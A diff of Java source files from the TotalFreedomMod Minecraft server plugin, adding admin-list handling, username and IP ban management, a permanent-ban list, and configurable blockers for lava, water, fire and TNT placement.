if (allAdmins.remove(admin.getName().toLowerCase()) == null)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
updateTables();
|
||||
|
||||
// 'Unsave' admin
|
||||
config.set(admin.getConfigKey(), null);
|
||||
config.save();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public void updateTables()
|
||||
{
|
||||
activeAdmins.clear();
|
||||
nameTable.clear();
|
||||
ipTable.clear();
|
||||
|
||||
for (Admin admin : allAdmins.values())
|
||||
{
|
||||
if (!admin.isActivated())
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
activeAdmins.add(admin);
|
||||
nameTable.put(admin.getName().toLowerCase(), admin);
|
||||
|
||||
for (String ip : admin.getIps())
|
||||
{
|
||||
ipTable.put(ip, admin);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
plugin.wm.adminworld.wipeAccessCache();
|
||||
}
|
||||
|
||||
public Set<String> getAdminNames()
|
||||
{
|
||||
return nameTable.keySet();
|
||||
}
|
||||
|
||||
public Set<String> getAdminIps()
|
||||
{
|
||||
return ipTable.keySet();
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.MONITOR)
|
||||
public void onPlayerJoin(PlayerJoinEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
final FPlayer fPlayer = plugin.pl.getPlayer(player);
|
||||
|
||||
boolean isAdmin = plugin.al.isAdmin(player);
|
||||
if (isAdmin)
|
||||
{
|
||||
// Verify strict IP match
|
||||
if (!plugin.al.isIdentityMatched(player))
|
||||
{
|
||||
fPlayer.setSuperadminIdVerified(false);
|
||||
FUtil.bcastMsg("Warning: " + player.getName() + " is an admin, but is using an account not registered to one of their ip-list.", ChatColor.RED);
|
||||
}
|
||||
else
|
||||
{
|
||||
fPlayer.setSuperadminIdVerified(true);
|
||||
plugin.al.updateLastLogin(player);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
public void addAdmin(OfflinePlayer player)
|
||||
{
|
||||
final String name = player.getName().toLowerCase();
|
||||
final String ip = TFM_Util.getIp(player);
|
||||
final boolean canSuperIp = !TFM_MainConfig.getList(TFM_ConfigEntry.NOADMIN_IPS).contains(ip);
|
||||
|
||||
if (nameTable.containsKey(name))
|
||||
{
|
||||
final Admin superadmin = nameTable.;
|
||||
superadmin.setActivated(true);
|
||||
|
||||
if (player.isOnline())
|
||||
{
|
||||
superadmin.setLastLogin(new Date());
|
||||
|
||||
if (ip != null && canSuperIp)
|
||||
{
|
||||
superadmin.addIp(ip);
|
||||
}
|
||||
}
|
||||
|
||||
save();
|
||||
updateTables();
|
||||
return;
|
||||
}
|
||||
|
||||
if (ip == null)
|
||||
{
|
||||
TFM_Log.severe("Could not add superadmin: " + TFM_Util.formatPlayer(player));
|
||||
TFM_Log.severe("Could not retrieve IP!");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!canSuperIp)
|
||||
{
|
||||
TFM_Log.warning("Could not add superadmin: " + TFM_Util.formatPlayer(player));
|
||||
TFM_Log.warning("IP " + ip + " may not be supered.");
|
||||
return;
|
||||
}
|
||||
|
||||
final Admin superadmin = new Admin(
|
||||
uuid,
|
||||
player.getName(),
|
||||
new Date(),
|
||||
"",
|
||||
false,
|
||||
false,
|
||||
true);
|
||||
superadmin.addIp(ip);
|
||||
|
||||
nameTable.put(uuid, superadmin);
|
||||
|
||||
updateTables();
|
||||
}
|
||||
|
||||
public void removeAdmin(OfflinePlayer player)
|
||||
{
|
||||
final UUID uuid = TFM_UuidManager.getUniqueId(player);
|
||||
|
||||
if (!nameTable.containsKey(uuid))
|
||||
{
|
||||
TFM_Log.warning("Could not remove admin: " + TFM_Util.formatPlayer(player));
|
||||
TFM_Log.warning("Player is not an admin!");
|
||||
return;
|
||||
}
|
||||
|
||||
final Admin superadmin = nameTable.get(uuid);
|
||||
superadmin.setActivated(false);
|
||||
Command_logs.deactivateSuperadmin(superadmin);
|
||||
|
||||
updateTables();
|
||||
}*/
|
||||
public void deactivateOldEntries(boolean verbose)
|
||||
{
|
||||
for (Admin admin : allAdmins.values())
|
||||
{
|
||||
if (!admin.isActivated() || admin.getRank() == PlayerRank.SENIOR_ADMIN)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
final Date lastLogin = admin.getLastLogin();
|
||||
final long lastLoginHours = TimeUnit.HOURS.convert(new Date().getTime() - lastLogin.getTime(), TimeUnit.MILLISECONDS);
|
||||
|
||||
if (lastLoginHours < cleanThreshold)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
{
|
||||
FUtil.adminAction("TotalFreedomMod", "Deactivating superadmin " + admin.getName() + ", inactive for " + lastLoginHours + " hours.", true);
|
||||
}
|
||||
|
||||
admin.setActivated(false);
|
||||
Command_logs.deactivateSuperadmin(admin);
|
||||
}
|
||||
|
||||
save();
|
||||
updateTables();
|
||||
}
|
||||
}
|
260
src/main/java/me/totalfreedom/totalfreedommod/banning/Ban.java
Normal file
260
src/main/java/me/totalfreedom/totalfreedommod/banning/Ban.java
Normal file
@ -0,0 +1,260 @@
|
||||
package me.totalfreedom.totalfreedommod.banning;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Arrays;
|
||||
import java.util.Date;
|
||||
import java.util.List;
|
||||
import lombok.Getter;
|
||||
import lombok.Setter;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.base.ConfigLoadable;
|
||||
import net.pravian.aero.base.ConfigSavable;
|
||||
import net.pravian.aero.base.Validatable;
|
||||
import net.pravian.aero.util.Ips;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
import org.bukkit.entity.Player;
|
||||
|
||||
public class Ban implements ConfigLoadable, ConfigSavable, Validatable
|
||||
{
|
||||
public static final SimpleDateFormat DATE_FORMAT = new SimpleDateFormat("yyyy-MM-dd \'at\' HH:mm:ss z");
|
||||
|
||||
@Getter
|
||||
@Setter
|
||||
private String username = null;
|
||||
@Getter
|
||||
private final List<String> ips = Lists.newArrayList();
|
||||
@Getter
|
||||
@Setter
|
||||
private String by = null;
|
||||
@Getter
|
||||
@Setter
|
||||
private String reason = null; // Unformatted, &[0-9,a-f] instead of ChatColor
|
||||
@Getter
|
||||
@Setter
|
||||
private long expiryUnix = -1;
|
||||
|
||||
public Ban()
|
||||
{
|
||||
}
|
||||
|
||||
public Ban(String username, String ip, String by, Date expire, String reason)
|
||||
{
|
||||
this(username,
|
||||
new String[]
|
||||
{
|
||||
ip
|
||||
},
|
||||
by,
|
||||
expire,
|
||||
reason);
|
||||
}
|
||||
|
||||
public Ban(String username, String[] ips, String by, Date expire, String reason)
|
||||
{
|
||||
this.username = username;
|
||||
if (ips != null)
|
||||
{
|
||||
this.ips.addAll(Arrays.asList(ips));
|
||||
}
|
||||
this.by = by;
|
||||
this.expiryUnix = FUtil.getUnixTime(expire);
|
||||
}
|
||||
|
||||
//
|
||||
// For player IP
|
||||
public static Ban forPlayerIp(Player player, CommandSender by)
|
||||
{
|
||||
return forPlayerIp(player, by, null, null);
|
||||
}
|
||||
|
||||
public static Ban forPlayerIp(Player player, CommandSender by, Date expiry, String reason)
|
||||
{
|
||||
return new Ban(null, new String[]
|
||||
{
|
||||
Ips.getIp(player)
|
||||
}, by.getName(), expiry, reason);
|
||||
}
|
||||
|
||||
public static Ban forPlayerIp(String ip, CommandSender by, Date expiry, String reason)
|
||||
{
|
||||
return new Ban(null, ip, by.getName(), expiry, reason);
|
||||
}
|
||||
|
||||
//
|
||||
// For player name
|
||||
public static Ban forPlayerName(Player player, CommandSender by, Date expiry, String reason)
|
||||
{
|
||||
return forPlayerName(player.getName(), by, expiry, reason);
|
||||
}
|
||||
|
||||
public static Ban forPlayerName(String player, CommandSender by, Date expiry, String reason)
|
||||
{
|
||||
return new Ban(player,
|
||||
(String[]) null,
|
||||
by.getName(),
|
||||
expiry,
|
||||
reason);
|
||||
}
|
||||
|
||||
//
|
||||
// For player
|
||||
public static Ban forPlayer(Player player, CommandSender by)
|
||||
{
|
||||
return forPlayerName(player, by, null, null);
|
||||
}
|
||||
|
||||
public static Ban forPlayer(Player player, CommandSender by, Date expiry, String reason)
|
||||
{
|
||||
return new Ban(player.getName(),
|
||||
Ips.getIp(player),
|
||||
by.getName(),
|
||||
expiry,
|
||||
reason);
|
||||
}
|
||||
|
||||
public static Ban forPlayerFuzzy(Player player, CommandSender by, Date expiry, String reason)
|
||||
{
|
||||
return new Ban(player.getName(),
|
||||
FUtil.getFuzzyIp(Ips.getIp(player)),
|
||||
by.getName(),
|
||||
expiry,
|
||||
reason);
|
||||
}
|
||||
|
||||
public boolean hasUsername()
|
||||
{
|
||||
return username != null && !username.isEmpty();
|
||||
}
|
||||
|
||||
public boolean addIp(String ip)
|
||||
{
|
||||
return ips.add(ip);
|
||||
}
|
||||
|
||||
public boolean removeIp(String ip)
|
||||
{
|
||||
return ips.remove(ip);
|
||||
}
|
||||
|
||||
public boolean hasIps()
|
||||
{
|
||||
return !ips.isEmpty();
|
||||
}
|
||||
|
||||
public boolean hasExpiry()
|
||||
{
|
||||
return expiryUnix > 0;
|
||||
}
|
||||
|
||||
public Date getExpiryDate()
|
||||
{
|
||||
return FUtil.getUnixDate(expiryUnix);
|
||||
}
|
||||
|
||||
public boolean isExpired()
|
||||
{
|
||||
return hasExpiry() && expiryUnix < FUtil.getUnixTime();
|
||||
}
|
||||
|
||||
public String bakeKickMessage()
|
||||
{
|
||||
final StringBuilder message = new StringBuilder(ChatColor.GOLD + "You");
|
||||
|
||||
message.append(!hasUsername() ? "r IP address is" : " are").append(" temporarily banned from this server.");
|
||||
message.append("\nAppeal at ").append(ChatColor.BLUE)
|
||||
.append(ConfigEntry.SERVER_BAN_URL.getString());
|
||||
|
||||
if (reason != null)
|
||||
{
|
||||
message.append("\n").append(ChatColor.RED).append("Reason: ").append(ChatColor.GOLD)
|
||||
.append(ChatColor.translateAlternateColorCodes('&', reason));
|
||||
}
|
||||
|
||||
if (by != null)
|
||||
{
|
||||
message.append("\n").append(ChatColor.RED).append("Banned by: ").append(ChatColor.GOLD)
|
||||
.append(by);
|
||||
}
|
||||
|
||||
if (getExpiryUnix() != 0)
|
||||
{
|
||||
message.append("\n").append(ChatColor.RED).append("Expires: ").append(ChatColor.GOLD)
|
||||
.append(DATE_FORMAT.format(FUtil.getUnixDate(expiryUnix)));
|
||||
}
|
||||
|
||||
return message.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object object)
|
||||
{
|
||||
if (object == null)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!(object instanceof Ban))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
final Ban ban = (Ban) object;
|
||||
if (hasIps() != ban.hasIps()
|
||||
|| hasUsername() != hasUsername())
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (hasIps() && !(getIps().equals(ban.getIps())))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (hasUsername() && !(getUsername().equalsIgnoreCase(ban.getUsername())))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int hashCode()
|
||||
{
|
||||
int hash = 7;
|
||||
hash = 79 * hash + (this.username != null ? this.username.toLowerCase().hashCode() : 0);
|
||||
hash = 79 * hash + (this.ips != null ? this.ips.hashCode() : 0);
|
||||
return hash;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void loadFrom(ConfigurationSection cs)
|
||||
{
|
||||
this.username = cs.getString("username", null);
|
||||
this.ips.clear();
|
||||
this.ips.addAll(cs.getStringList("ips"));
|
||||
this.by = cs.getString("by", null);
|
||||
this.reason = cs.getString("reason", null);
|
||||
this.expiryUnix = cs.getLong("expiry_unix", -1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void saveTo(ConfigurationSection cs)
|
||||
{
|
||||
cs.set("username", username);
|
||||
cs.set("ips", ips.isEmpty() ? null : ips);
|
||||
cs.set("by", by);
|
||||
cs.set("reason", reason);
|
||||
cs.set("expiry_unix", expiryUnix > 0 ? expiryUnix : null);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isValid()
|
||||
{
|
||||
return username != null || !ips.isEmpty();
|
||||
}
|
||||
}
|
@ -0,0 +1,304 @@
|
||||
package me.totalfreedom.totalfreedommod.banning;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.collect.Maps;
|
||||
import com.google.common.collect.Sets;
|
||||
import java.util.Collection;
|
||||
import java.util.Collections;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import me.totalfreedom.totalfreedommod.player.PlayerData;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import net.pravian.aero.config.YamlConfig;
|
||||
import net.pravian.aero.util.Ips;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerJoinEvent;
|
||||
import org.bukkit.event.player.PlayerLoginEvent;
|
||||
|
||||
public class BanManager extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
private final Set<Ban> bans = Sets.newHashSet();
|
||||
private final Map<String, Ban> ipBans = Maps.newHashMap();
|
||||
private final Map<String, Ban> nameBans = Maps.newHashMap();
|
||||
private final List<String> unbannableUsernames = Lists.newArrayList();
|
||||
//
|
||||
private final YamlConfig config;
|
||||
|
||||
public BanManager(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
this.config = new YamlConfig(TotalFreedomMod.plugin, "bans.yml");
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
load();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
saveAll();
|
||||
}
|
||||
|
||||
public void load()
|
||||
{
|
||||
config.load();
|
||||
|
||||
bans.clear();
|
||||
for (String id : config.getKeys(false))
|
||||
{
|
||||
if (!config.isConfigurationSection(id))
|
||||
{
|
||||
FLog.warning("Could not load username ban: " + id + ". Invalid format!");
|
||||
continue;
|
||||
}
|
||||
|
||||
Ban ban = new Ban();
|
||||
ban.loadFrom(config.getConfigurationSection(id));
|
||||
|
||||
if (!ban.isValid())
|
||||
{
|
||||
FLog.warning("Not adding username ban: " + id + ". Missing information.");
|
||||
continue;
|
||||
}
|
||||
|
||||
bans.add(ban);
|
||||
}
|
||||
|
||||
// Remove expired bans, repopulate ipBans and nameBans,
|
||||
updateViews();
|
||||
|
||||
FLog.info("Loaded " + ipBans.size() + " IP bans and " + nameBans.size() + " username bans");
|
||||
|
||||
// Load unbannable usernames
|
||||
unbannableUsernames.clear();
|
||||
unbannableUsernames.addAll((Collection<? extends String>) ConfigEntry.UNBANNABLE_USERNAMES.getList());
|
||||
FLog.info("Loaded " + unbannableUsernames.size() + " unbannable usernames.");
|
||||
|
||||
}
|
||||
|
||||
private void updateViews()
|
||||
{
|
||||
|
||||
// Remove expired bans
|
||||
for (Iterator<Ban> it = bans.iterator(); it.hasNext();)
|
||||
{
|
||||
if (it.next().isExpired())
|
||||
{
|
||||
it.remove();
|
||||
}
|
||||
}
|
||||
|
||||
ipBans.clear();
|
||||
nameBans.clear();
|
||||
for (Ban ban : bans)
|
||||
{
|
||||
if (ban.hasUsername())
|
||||
{
|
||||
nameBans.put(ban.getUsername().toLowerCase(), ban);
|
||||
}
|
||||
|
||||
if (ban.hasIps())
|
||||
{
|
||||
for (String ip : ban.getIps())
|
||||
{
|
||||
ipBans.put(ip, ban);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void saveAll()
|
||||
{
|
||||
// Remove expired
|
||||
updateViews();
|
||||
|
||||
for (Ban ban : bans)
|
||||
{
|
||||
ban.saveTo(config.createSection(String.valueOf(ban.hashCode())));
|
||||
}
|
||||
|
||||
// Save config
|
||||
config.save();
|
||||
}
|
||||
|
||||
public Collection<Ban> getIpBans()
|
||||
{
|
||||
return Collections.unmodifiableCollection(ipBans.values());
|
||||
}
|
||||
|
||||
public Collection<Ban> getUsernameBans()
|
||||
{
|
||||
return Collections.unmodifiableCollection(nameBans.values());
|
||||
}
|
||||
|
||||
public Ban getByIp(String ip)
|
||||
{
|
||||
final Ban directBan = ipBans.get(ip);
|
||||
if (directBan != null && !directBan.isExpired())
|
||||
{
|
||||
return directBan;
|
||||
}
|
||||
|
||||
// Match fuzzy IP
|
||||
for (Ban loopBan : ipBans.values())
|
||||
{
|
||||
if (loopBan.isExpired())
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
for (String loopIp : loopBan.getIps())
|
||||
{
|
||||
if (!loopIp.contains("*"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
if (Ips.fuzzyIpMatch(ip, loopIp, 4))
|
||||
{
|
||||
return loopBan;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public Ban getByUsername(String username)
|
||||
{
|
||||
username = username.toLowerCase();
|
||||
final Ban directBan = nameBans.get(username);
|
||||
|
||||
if (directBan != null && !directBan.isExpired())
|
||||
{
|
||||
return directBan;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public Ban unbanIp(String ip)
|
||||
{
|
||||
final Ban ban = getByIp(ip);
|
||||
|
||||
if (ban == null)
|
||||
{
|
||||
return ban;
|
||||
}
|
||||
|
||||
bans.remove(ban);
|
||||
saveAll();
|
||||
return ban;
|
||||
}
|
||||
|
||||
public Ban unbanUsername(String username)
|
||||
{
|
||||
final Ban ban = getByUsername(username);
|
||||
|
||||
if (ban == null)
|
||||
{
|
||||
return ban;
|
||||
}
|
||||
|
||||
bans.remove(ban);
|
||||
saveAll();
|
||||
return ban;
|
||||
}
|
||||
|
||||
public boolean isIpBanned(String ip)
|
||||
{
|
||||
return getByIp(ip) != null;
|
||||
}
|
||||
|
||||
public boolean isUsernameBanned(String username)
|
||||
{
|
||||
return getByUsername(username) != null;
|
||||
}
|
||||
|
||||
public boolean addBan(Ban ban)
|
||||
{
|
||||
if (bans.add(ban))
|
||||
{
|
||||
updateViews();
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public boolean removeBan(Ban ban)
|
||||
{
|
||||
if (bans.remove(ban))
|
||||
{
|
||||
updateViews();
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public void purgeIpBans()
|
||||
{
|
||||
ipBans.clear();
|
||||
saveAll();
|
||||
}
|
||||
|
||||
public void purgeNameBans()
|
||||
{
|
||||
nameBans.clear();
|
||||
saveAll();
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.LOW)
|
||||
public void onPlayerLogin(PlayerLoginEvent event)
|
||||
{
|
||||
final String username = event.getPlayer().getName();
|
||||
final String ip = Ips.getIp(event);
|
||||
|
||||
// Regular ban
|
||||
Ban ban = plugin.bm.getByUsername(username);
|
||||
if (ban == null)
|
||||
{
|
||||
ban = plugin.bm.getByIp(ip);
|
||||
}
|
||||
|
||||
if (ban != null)
|
||||
{
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, ban.bakeKickMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.LOW)
|
||||
public void onPlayerJoin(PlayerJoinEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
final PlayerData data = plugin.pl.getData(player);
|
||||
|
||||
if (!plugin.al.isAdmin(player))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// Unban admins
|
||||
for (String storedIp : data.getIps())
|
||||
{
|
||||
unbanIp(storedIp);
|
||||
unbanIp(FUtil.getFuzzyIp(storedIp));
|
||||
}
|
||||
|
||||
unbanUsername(player.getName());
|
||||
player.setOp(true);
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,87 @@
|
||||
package me.totalfreedom.totalfreedommod.banning;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import com.google.common.collect.Sets;
|
||||
import java.util.Set;
|
||||
import lombok.Getter;
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.config.FConfig;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import net.pravian.aero.util.Ips;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerLoginEvent;
|
||||
|
||||
public class PermbanList extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
@Getter
|
||||
private final Set<String> permbannedNames = Sets.newHashSet();
|
||||
@Getter
|
||||
private final Set<String> permbannedIps = Sets.newHashSet();
|
||||
|
||||
public PermbanList(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
permbannedNames.clear();
|
||||
permbannedIps.clear();
|
||||
|
||||
final FConfig config = new FConfig(TotalFreedomMod.plugin, TotalFreedomMod.PERMBAN_FILENAME, true);
|
||||
config.load();
|
||||
|
||||
for (String name : config.getKeys(false))
|
||||
{
|
||||
permbannedNames.add(name.toLowerCase().trim());
|
||||
permbannedIps.addAll(config.getStringList(name));
|
||||
}
|
||||
|
||||
FLog.info("Loaded " + permbannedNames.size() + " permanently banned usernames and " + permbannedIps.size() + " permanently banned IPs.");
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.LOWEST)
|
||||
public void onPlayerLogin(PlayerLoginEvent event)
|
||||
{
|
||||
final String username = event.getPlayer().getName();
|
||||
final String ip = Ips.getIp(event);
|
||||
|
||||
// Permbanned IPs
|
||||
for (String testIp : getPermbannedIps())
|
||||
{
|
||||
if (FUtil.fuzzyIpMatch(testIp, ip, 4))
|
||||
{
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
|
||||
ChatColor.RED + "Your IP address is permanently banned from this server.\n"
|
||||
+ "Release procedures are available at\n"
|
||||
+ ChatColor.GOLD + ConfigEntry.SERVER_PERMBAN_URL.getString());
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Permbanned usernames
|
||||
for (String testPlayer : getPermbannedNames())
|
||||
{
|
||||
if (testPlayer.equalsIgnoreCase(username))
|
||||
{
|
||||
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
|
||||
ChatColor.RED + "Your username is permanently banned from this server.\n"
|
||||
+ "Release procedures are available at\n"
|
||||
+ ChatColor.GOLD + ConfigEntry.SERVER_PERMBAN_URL.getString());
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,114 @@
|
||||
package me.totalfreedom.totalfreedommod.blocking;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.block.BlockPlaceEvent;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
public class BlockBlocker extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public BlockBlocker(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onBlockPlace(BlockPlaceEvent event)
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
|
||||
switch (event.getBlockPlaced().getType())
|
||||
{
|
||||
case LAVA:
|
||||
case STATIONARY_LAVA:
|
||||
{
|
||||
if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
|
||||
{
|
||||
FLog.info(String.format("%s placed lava @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
|
||||
|
||||
player.getInventory().clear(player.getInventory().getHeldItemSlot());
|
||||
}
|
||||
else
|
||||
{
|
||||
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||
player.sendMessage(ChatColor.GRAY + "Lava placement is currently disabled.");
|
||||
|
||||
event.setCancelled(true);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case WATER:
|
||||
case STATIONARY_WATER:
|
||||
{
|
||||
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
|
||||
{
|
||||
FLog.info(String.format("%s placed water @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
|
||||
|
||||
player.getInventory().clear(player.getInventory().getHeldItemSlot());
|
||||
}
|
||||
else
|
||||
{
|
||||
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||
player.sendMessage(ChatColor.GRAY + "Water placement is currently disabled.");
|
||||
|
||||
event.setCancelled(true);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case FIRE:
|
||||
{
|
||||
if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
|
||||
{
|
||||
FLog.info(String.format("%s placed fire @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
|
||||
|
||||
player.getInventory().clear(player.getInventory().getHeldItemSlot());
|
||||
}
|
||||
else
|
||||
{
|
||||
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||
player.sendMessage(ChatColor.GRAY + "Fire placement is currently disabled.");
|
||||
|
||||
event.setCancelled(true);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case TNT:
|
||||
{
|
||||
if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||
{
|
||||
FLog.info(String.format("%s placed TNT @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
|
||||
|
||||
player.getInventory().clear(player.getInventory().getHeldItemSlot());
|
||||
}
|
||||
else
|
||||
{
|
||||
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||
|
||||
player.sendMessage(ChatColor.GRAY + "TNT is currently disabled.");
|
||||
event.setCancelled(true);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,172 @@
|
||||
package me.totalfreedom.totalfreedommod.blocking;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.entity.Entity;
|
||||
import org.bukkit.entity.EntityType;
|
||||
import org.bukkit.entity.Projectile;
|
||||
import org.bukkit.entity.Tameable;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.block.BlockBurnEvent;
|
||||
import org.bukkit.event.block.BlockFromToEvent;
|
||||
import org.bukkit.event.block.BlockIgniteEvent;
|
||||
import org.bukkit.event.block.LeavesDecayEvent;
|
||||
import org.bukkit.event.entity.EntityCombustEvent;
|
||||
import org.bukkit.event.entity.EntityDamageEvent;
|
||||
import org.bukkit.event.entity.EntityDeathEvent;
|
||||
import org.bukkit.event.entity.EntityExplodeEvent;
|
||||
import org.bukkit.event.entity.ExplosionPrimeEvent;
|
||||
import org.bukkit.event.entity.ProjectileHitEvent;
|
||||
import org.bukkit.event.player.PlayerDropItemEvent;
|
||||
|
||||
public class EventBlocker extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
|
||||
public EventBlocker(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onBlockBurn(BlockBurnEvent event)
|
||||
{
|
||||
if (!ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onBlockIgnite(BlockIgniteEvent event)
|
||||
{
|
||||
if (!ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
|
||||
{
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.HIGH)
|
||||
public void onBlockFromTo(BlockFromToEvent event)
|
||||
{
|
||||
if (!ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
